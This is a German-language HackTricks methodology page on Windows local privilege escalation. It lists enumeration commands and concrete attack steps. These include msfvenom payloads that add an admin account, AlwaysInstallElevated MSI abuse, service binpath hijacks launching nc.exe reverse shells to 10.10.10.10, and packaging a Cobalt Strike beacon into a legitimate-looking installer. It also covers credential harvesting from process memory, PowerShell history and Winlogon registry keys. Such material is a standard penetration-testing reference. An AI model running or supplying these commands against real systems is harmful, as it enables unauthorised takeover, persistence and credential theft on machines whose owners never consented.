Windows Local Privilege Escalation

Support HackTricks

Bestes Tool zur Suche nach Windows-Lokalen Privileg-Eskalationsvektoren: WinPEAS

Grundlegende Windows-Theorie

Zugriffstoken

Wenn du nicht weißt, was Windows-Zugriffstoken sind, lies die folgende Seite, bevor du fortfährst:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Überprüfe die folgende Seite für weitere Informationen zu ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integritätsstufen

Wenn du nicht weißt, was Integritätsstufen in Windows sind, solltest du die folgende Seite lesen, bevor du fortfährst:

Integrity Levels

Windows-Sicherheitskontrollen

Es gibt verschiedene Dinge in Windows, die dich daran hindern könnten, das System zu enumerieren, ausführbare Dateien auszuführen oder sogar deine Aktivitäten zu erkennen. Du solltest die folgende Seite lesen und all diese Abwehrmechanismen enumerieren, bevor du mit der Privileg-Eskalationsenumeration beginnst:

Windows Security Controls

Systeminformationen

Versionsinformationen enumerieren

Überprüfe, ob die Windows-Version bekannte Schwachstellen aufweist (überprüfe auch die angewendeten Patches).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

Diese Seite ist nützlich, um detaillierte Informationen über Microsoft-Sicherheitsanfälligkeiten zu suchen. Diese Datenbank hat mehr als 4.700 Sicherheitsanfälligkeiten, die die massive Angriffsfläche zeigen, die eine Windows-Umgebung bietet.

Auf dem System

  • post/windows/gather/enum_patches

  • post/multi/recon/local_exploit_suggester

  • winpeas (Winpeas hat watson eingebettet)

Lokal mit Systeminformationen

Github-Repos von Exploits:

Umgebung

Gibt es Anmeldeinformationen/saftige Informationen, die in den Umgebungsvariablen gespeichert sind?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell Verlauf

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell-Transkriptdateien

Sie können lernen, wie man dies aktiviert unter https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Modulprotokollierung

Details zu PowerShell-Pipeline-Ausführungen werden aufgezeichnet, einschließlich ausgeführter Befehle, Befehlsaufrufe und Teile von Skripten. Es könnten jedoch nicht alle Ausführungsdetails und Ausgabeergebnisse erfasst werden.

Um dies zu aktivieren, folgen Sie den Anweisungen im Abschnitt "Transkriptdateien" der Dokumentation und wählen Sie "Modulprotokollierung" anstelle von "Powershell-Transkription".

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Um die letzten 15 Ereignisse aus den Powershell-Protokollen anzuzeigen, können Sie ausführen:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Ein vollständiger Aktivitäts- und Inhaltsnachweis der Ausführung des Skripts wird erfasst, um sicherzustellen, dass jeder Codeblock dokumentiert wird, während er ausgeführt wird. Dieser Prozess bewahrt eine umfassende Prüfspur jeder Aktivität, die für die Forensik und die Analyse bösartigen Verhaltens wertvoll ist. Durch die Dokumentation aller Aktivitäten zum Zeitpunkt der Ausführung werden detaillierte Einblicke in den Prozess bereitgestellt.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Die Protokollereignisse für den Script Block können im Windows-Ereignisanzeiger unter dem Pfad: Anwendungs- und Dienstprotokolle > Microsoft > Windows > PowerShell > Betrieb gefunden werden. Um die letzten 20 Ereignisse anzuzeigen, können Sie Folgendes verwenden:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Internet-Einstellungen

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Laufwerke

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Sie können das System kompromittieren, wenn die Updates nicht über httpS, sondern über http angefordert werden.

Sie beginnen damit, zu überprüfen, ob das Netzwerk ein nicht-SSL WSUS-Update verwendet, indem Sie Folgendes ausführen:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Wenn Sie eine Antwort wie folgt erhalten:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

Und wenn HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer gleich 1 ist.

Dann ist es ausnutzbar. Wenn der letzte Registrierungseintrag gleich 0 ist, wird der WSUS-Eintrag ignoriert.

Um diese Schwachstellen auszunutzen, können Sie Tools wie: Wsuxploit, pyWSUS verwenden - Dies sind MiTM-waffenfähige Exploit-Skripte, um 'falsche' Updates in nicht-SSL WSUS-Verkehr einzuspeisen.

Lesen Sie die Forschung hier:

WSUS CVE-2020-1013

Lesen Sie den vollständigen Bericht hier. Im Grunde ist dies der Fehler, den dieser Bug ausnutzt:

Wenn wir die Möglichkeit haben, unseren lokalen Benutzerproxy zu ändern, und Windows Updates den im Internet Explorer konfigurierten Proxy verwendet, haben wir daher die Möglichkeit, PyWSUS lokal auszuführen, um unseren eigenen Verkehr abzufangen und Code als erhöhter Benutzer auf unserem Asset auszuführen.

Darüber hinaus verwendet der WSUS-Dienst die Einstellungen des aktuellen Benutzers, daher wird auch dessen Zertifikatspeicher verwendet. Wenn wir ein selbstsigniertes Zertifikat für den WSUS-Hostnamen generieren und dieses Zertifikat in den Zertifikatspeicher des aktuellen Benutzers einfügen, können wir sowohl HTTP- als auch HTTPS-WSUS-Verkehr abfangen. WSUS verwendet keine HSTS-ähnlichen Mechanismen, um eine Validierung des Zertifikats nach dem Prinzip "Vertrauen beim ersten Gebrauch" zu implementieren. Wenn das präsentierte Zertifikat vom Benutzer vertraut wird und den richtigen Hostnamen hat, wird es vom Dienst akzeptiert.

Sie können diese Schwachstelle mit dem Tool WSUSpicious ausnutzen (sobald es freigegeben ist).

KrbRelayUp

Eine lokale Privilegieneskalation-Schwachstelle existiert in Windows Domänen-Umgebungen unter bestimmten Bedingungen. Diese Bedingungen umfassen Umgebungen, in denen LDAP-Signierung nicht durchgesetzt wird, Benutzer Selbstrechte besitzen, die es ihnen ermöglichen, ressourcenbasierte eingeschränkte Delegation (RBCD) zu konfigurieren, und die Fähigkeit für Benutzer, Computer innerhalb der Domäne zu erstellen. Es ist wichtig zu beachten, dass diese Anforderungen mit Standard-Einstellungen erfüllt sind.

Finden Sie den Exploit in https://github.com/Dec0ne/KrbRelayUp

Für weitere Informationen über den Ablauf des Angriffs überprüfen Sie https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Wenn diese 2 Registrierungen aktiviert sind (Wert ist 0x1), können Benutzer mit beliebigen Berechtigungen *.msi-Dateien als NT AUTHORITY\SYSTEM installieren (ausführen).

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit-Payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Wenn Sie eine Meterpreter-Sitzung haben, können Sie diese Technik mit dem Modul exploit/windows/local/always_install_elevated automatisieren.

PowerUP

Verwenden Sie den Befehl Write-UserAddMSI von PowerUP, um im aktuellen Verzeichnis eine Windows MSI-Binärdatei zu erstellen, um Privilegien zu eskalieren. Dieses Skript erstellt einen vorkompilierten MSI-Installer, der nach einer Benutzer-/Gruppenzusammenführung fragt (Sie benötigen also GUI-Zugriff):

Write-UserAddMSI

Just execute the created binary to escalate privileges.

MSI Wrapper

Lies dieses Tutorial, um zu lernen, wie man einen MSI-Wrapper mit diesen Tools erstellt. Beachte, dass du eine ".bat" Datei umwickeln kannst, wenn du nur Befehlszeilen ausführen möchtest.

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Generiere mit Cobalt Strike oder Metasploit eine neue Windows EXE TCP Payload in C:\privesc\beacon.exe

  • Öffne Visual Studio, wähle Ein neues Projekt erstellen und gib "installer" in das Suchfeld ein. Wähle das Setup Wizard Projekt und klicke auf Weiter.

  • Gib dem Projekt einen Namen, wie AlwaysPrivesc, verwende C:\privesc für den Speicherort, wähle Lösung und Projekt im selben Verzeichnis platzieren und klicke auf Erstellen.

  • Klicke weiter auf Weiter, bis du zu Schritt 3 von 4 (Dateien auswählen) gelangst. Klicke auf Hinzufügen und wähle die gerade generierte Beacon-Payload aus. Klicke dann auf Fertigstellen.

  • Markiere das AlwaysPrivesc Projekt im Solution Explorer und ändere in den Eigenschaften TargetPlatform von x86 auf x64.

  • Es gibt andere Eigenschaften, die du ändern kannst, wie den Autor und den Hersteller, die die installierte App legitimer erscheinen lassen können.

  • Klicke mit der rechten Maustaste auf das Projekt und wähle Ansicht > Benutzerdefinierte Aktionen.

  • Klicke mit der rechten Maustaste auf Installieren und wähle Benutzerdefinierte Aktion hinzufügen.

  • Doppelklicke auf Anwendungsordner, wähle deine beacon.exe Datei aus und klicke auf OK. Dies stellt sicher, dass die Beacon-Payload ausgeführt wird, sobald der Installer gestartet wird.

  • Ändere unter den Eigenschaften der benutzerdefinierten Aktion Run64Bit auf True.

  • Schließlich baue es.

  • Wenn die Warnung File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' angezeigt wird, stelle sicher, dass du die Plattform auf x64 eingestellt hast.

MSI Installation

Um die Installation der bösartigen .msi Datei im Hintergrund auszuführen:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Um diese Schwachstelle auszunutzen, können Sie verwenden: exploit/windows/local/always_install_elevated

Antivirus und Detektoren

Audit-Einstellungen

Diese Einstellungen entscheiden, was protokolliert wird, daher sollten Sie darauf achten

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, es ist interessant zu wissen, wohin die Protokolle gesendet werden.

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS ist für die Verwaltung von lokalen Administratorpasswörtern konzipiert, die sicherstellen, dass jedes Passwort einzigartig, randomisiert und regelmäßig aktualisiert wird auf Computern, die einer Domäne beigetreten sind. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, die über ausreichende Berechtigungen durch ACLs verfügen, die es ihnen ermöglichen, lokale Admin-Passwörter anzuzeigen, wenn sie autorisiert sind.

LAPS

WDigest

Wenn aktiv, werden Klartextpasswörter in LSASS (Local Security Authority Subsystem Service) gespeichert. Weitere Informationen zu WDigest auf dieser Seite.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA-Schutz

Beginnend mit Windows 8.1 führte Microsoft einen verbesserten Schutz für die Local Security Authority (LSA) ein, um Versuche untrusted Prozesse zu blockieren, ihre Speicher zu lesen oder Code zu injizieren, was das System weiter absichert. Weitere Informationen zum LSA-Schutz hier.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard wurde in Windows 10 eingeführt. Sein Zweck ist es, die auf einem Gerät gespeicherten Anmeldeinformationen vor Bedrohungen wie Pass-the-Hash-Angriffen zu schützen.| Weitere Informationen zu Credentials Guard hier.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domänenanmeldeinformationen werden von der Local Security Authority (LSA) authentifiziert und von Betriebssystemkomponenten verwendet. Wenn die Anmeldedaten eines Benutzers von einem registrierten Sicherheits-Paket authentifiziert werden, werden in der Regel Domänenanmeldeinformationen für den Benutzer erstellt. Weitere Informationen zu Cached Credentials hier.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Benutzer & Gruppen

Benutzer & Gruppen auflisten

Sie sollten überprüfen, ob eine der Gruppen, zu denen Sie gehören, interessante Berechtigungen hat.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privilegierte Gruppen

Wenn Sie zu einer privilegierten Gruppe gehören, können Sie möglicherweise Privilegien eskalieren. Erfahren Sie hier mehr über privilegierte Gruppen und wie man sie missbraucht, um Privilegien zu eskalieren:

Privileged Groups

Token-Manipulation

Erfahren Sie mehr darüber, was ein Token ist, auf dieser Seite: Windows Tokens. Überprüfen Sie die folgende Seite, um mehr über interessante Tokens zu erfahren und wie man sie missbraucht:

Abusing Tokens

Eingeloggte Benutzer / Sitzungen

qwinsta
klist sessions

Home-Ordner

dir C:\Users
Get-ChildItem C:\Users

Passwort-Richtlinie

net accounts

Holen Sie sich den Inhalt der Zwischenablage

powershell -command "Get-Clipboard"

Ausgeführte Prozesse

Datei- und Ordners Berechtigungen

Zunächst einmal, listen Sie die Prozesse überprüfen Sie Passwörter in der Befehlszeile des Prozesses. Überprüfen Sie, ob Sie eine laufende Binärdatei überschreiben können oder ob Sie Schreibberechtigungen für den Binärordner haben, um mögliche DLL Hijacking-Angriffe auszunutzen:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Immer prüfen, ob mögliche electron/cef/chromium-Debugger laufen, die Sie missbrauchen könnten, um Privilegien zu eskalieren.

Überprüfen der Berechtigungen der Prozess-Binärdateien

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Überprüfung der Berechtigungen der Ordner der Prozess-Binärdateien (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Sie können einen Speicherabbild eines laufenden Prozesses mit procdump von Sysinternals erstellen. Dienste wie FTP haben die Anmeldeinformationen im Klartext im Speicher, versuchen Sie, den Speicher abzuleiten und die Anmeldeinformationen zu lesen.

procdump.exe -accepteula -ma <proc_name_tasklist>

Unsichere GUI-Apps

Anwendungen, die als SYSTEM ausgeführt werden, können einem Benutzer erlauben, eine CMD zu starten oder Verzeichnisse zu durchsuchen.

Beispiel: "Windows-Hilfe und Support" (Windows + F1), suchen Sie nach "Eingabeaufforderung", klicken Sie auf "Klicken Sie hier, um die Eingabeaufforderung zu öffnen"

Dienste

Holen Sie sich eine Liste der Dienste:

net start
wmic service list brief
sc query
Get-Service

Berechtigungen

Sie können sc verwenden, um Informationen über einen Dienst zu erhalten.

sc qc <service_name>

Es wird empfohlen, die Binärdatei accesschk von Sysinternals zu haben, um das erforderliche Berechtigungsniveau für jeden Dienst zu überprüfen.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Es wird empfohlen zu überprüfen, ob "Authentifizierte Benutzer" einen Dienst ändern können:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Sie können accesschk.exe für XP hier herunterladen

Dienst aktivieren

Wenn Sie diesen Fehler haben (zum Beispiel mit SSDPSRV):

Systemfehler 1058 ist aufgetreten. Der Dienst kann nicht gestartet werden, entweder weil er deaktiviert ist oder weil keine aktivierten Geräte damit verbunden sind.

Sie können ihn aktivieren, indem Sie

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Beachten Sie, dass der Dienst upnphost von SSDPSRV abhängt, um zu funktionieren (für XP SP1)

Eine weitere Lösung dieses Problems besteht darin, Folgendes auszuführen:

sc.exe config usosvc start= auto

Ändern des Dienst-Binärpfads

In dem Szenario, in dem die Gruppe "Authentifizierte Benutzer" SERVICE_ALL_ACCESS für einen Dienst besitzt, ist die Modifikation der ausführbaren Binärdatei des Dienstes möglich. Um sc zu modifizieren und auszuführen:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Dienst neu starten

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privilegien können durch verschiedene Berechtigungen erhöht werden:

  • SERVICE_CHANGE_CONFIG: Ermöglicht die Neukonfiguration der Dienst-Binärdatei.

  • WRITE_DAC: Ermöglicht die Neukonfiguration von Berechtigungen, was zur Fähigkeit führt, Dienstkonfigurationen zu ändern.

  • WRITE_OWNER: Erlaubt den Erwerb von Eigentum und die Neukonfiguration von Berechtigungen.

  • GENERIC_WRITE: Erbt die Fähigkeit, Dienstkonfigurationen zu ändern.

  • GENERIC_ALL: Erbt ebenfalls die Fähigkeit, Dienstkonfigurationen zu ändern.

Für die Erkennung und Ausnutzung dieser Schwachstelle kann das exploit/windows/local/service_permissions verwendet werden.

Schwache Berechtigungen von Dienst-Binärdateien

Überprüfen Sie, ob Sie die Binärdatei, die von einem Dienst ausgeführt wird, ändern können oder ob Sie Schreibberechtigungen für den Ordner haben, in dem sich die Binärdatei befindet (DLL Hijacking). Sie können jede Binärdatei, die von einem Dienst ausgeführt wird, mit wmic (nicht in system32) abrufen und Ihre Berechtigungen mit icacls überprüfen:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Sie können auch sc und icacls verwenden:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Dienste-Registry-Berechtigungen ändern

Sie sollten überprüfen, ob Sie eine Dienst-Registry ändern können. Sie können Ihre Berechtigungen über eine Dienst-Registry überprüfen, indem Sie:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Es sollte überprüft werden, ob Authenticated Users oder NT AUTHORITY\INTERACTIVE FullControl-Berechtigungen besitzen. Wenn ja, kann die von dem Dienst ausgeführte Binärdatei geändert werden.

Um den Pfad der ausgeführten Binärdatei zu ändern:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Berechtigungen für AppendData/AddSubdirectory im Registrierungsdienst

Wenn Sie diese Berechtigung über eine Registrierung haben, bedeutet dies, dass Sie Unterregistrierungen von dieser erstellen können. Im Fall von Windows-Diensten ist dies ausreichend, um beliebigen Code auszuführen:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

Wenn der Pfad zu einer ausführbaren Datei nicht in Anführungszeichen steht, versucht Windows, jede Endung vor einem Leerzeichen auszuführen.

Zum Beispiel wird Windows für den Pfad C:\Program Files\Some Folder\Service.exe versuchen, Folgendes auszuführen:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Liste alle nicht zitierten Dienstpfade auf, die nicht zu integrierten Windows-Diensten gehören:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Sie können diese Schwachstelle erkennen und ausnutzen mit metasploit: exploit/windows/local/trusted\_service\_path Sie können manuell eine Dienst-Binärdatei mit metasploit erstellen:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Recovery Actions

Windows ermöglicht es Benutzern, Aktionen festzulegen, die ergriffen werden sollen, wenn ein Dienst fehlschlägt. Diese Funktion kann so konfiguriert werden, dass sie auf eine Binärdatei verweist. Wenn diese Binärdatei ersetzbar ist, könnte eine Privilegieneskalation möglich sein. Weitere Details finden Sie in der offiziellen Dokumentation.

Applications

Installed Applications

Überprüfen Sie die Berechtigungen der Binärdateien (vielleicht können Sie eine überschreiben und Privilegien eskalieren) und der Ordner (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Schreibberechtigungen

Überprüfen Sie, ob Sie eine Konfigurationsdatei ändern können, um eine spezielle Datei zu lesen, oder ob Sie eine Binärdatei ändern können, die von einem Administratorkonto (schedtasks) ausgeführt wird.

Eine Möglichkeit, schwache Ordner-/Dateiberechtigungen im System zu finden, besteht darin:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Beim Start ausführen

Überprüfen Sie, ob Sie einige Registrierungs- oder Binärdateien überschreiben können, die von einem anderen Benutzer ausgeführt werden. Lesen Sie die folgende Seite, um mehr über interessante Autorun-Standorte zur Eskalation von Rechten zu erfahren:

Privilege Escalation with Autoruns

Treiber

Suchen Sie nach möglichen drittanbieter-seltsamen/anfälligen Treibern.

driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL Hijacking

Wenn Sie Schreibberechtigungen in einem Ordner haben, der im PATH vorhanden ist, könnten Sie in der Lage sein, eine von einem Prozess geladene DLL zu hijacken und Privilegien zu eskalieren.

Überprüfen Sie die Berechtigungen aller Ordner im PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Für weitere Informationen darüber, wie man diese Überprüfung ausnutzen kann:

Writable Sys Path +Dll Hijacking Privesc

Netzwerk

Freigaben

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Überprüfen Sie, ob andere bekannte Computer im Hosts-Datei fest codiert sind.

type C:\Windows\System32\drivers\etc\hosts

Netzwerkinterfaces & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Offene Ports

Überprüfen Sie eingeschränkte Dienste von außen

netstat -ano #Opened ports?

Routing-Tabelle

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP-Tabelle

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall-Regeln

Überprüfen Sie diese Seite für firewallbezogene Befehle (Regeln auflisten, Regeln erstellen, ausschalten, ausschalten...)

Mehr Befehle zur Netzwerkanalyse hier

Windows-Subsystem für Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binary bash.exe kann auch in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe gefunden werden.

Wenn Sie den Root-Benutzer erhalten, können Sie auf jedem Port lauschen (beim ersten Mal, wenn Sie nc.exe verwenden, um auf einem Port zu lauschen, wird über die GUI gefragt, ob nc von der Firewall erlaubt werden soll).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Um bash einfach als root zu starten, können Sie --default-user root versuchen.

Sie können das WSL-Dateisystem im Ordner C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ erkunden.

Windows-Anmeldeinformationen

Winlogon-Anmeldeinformationen

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword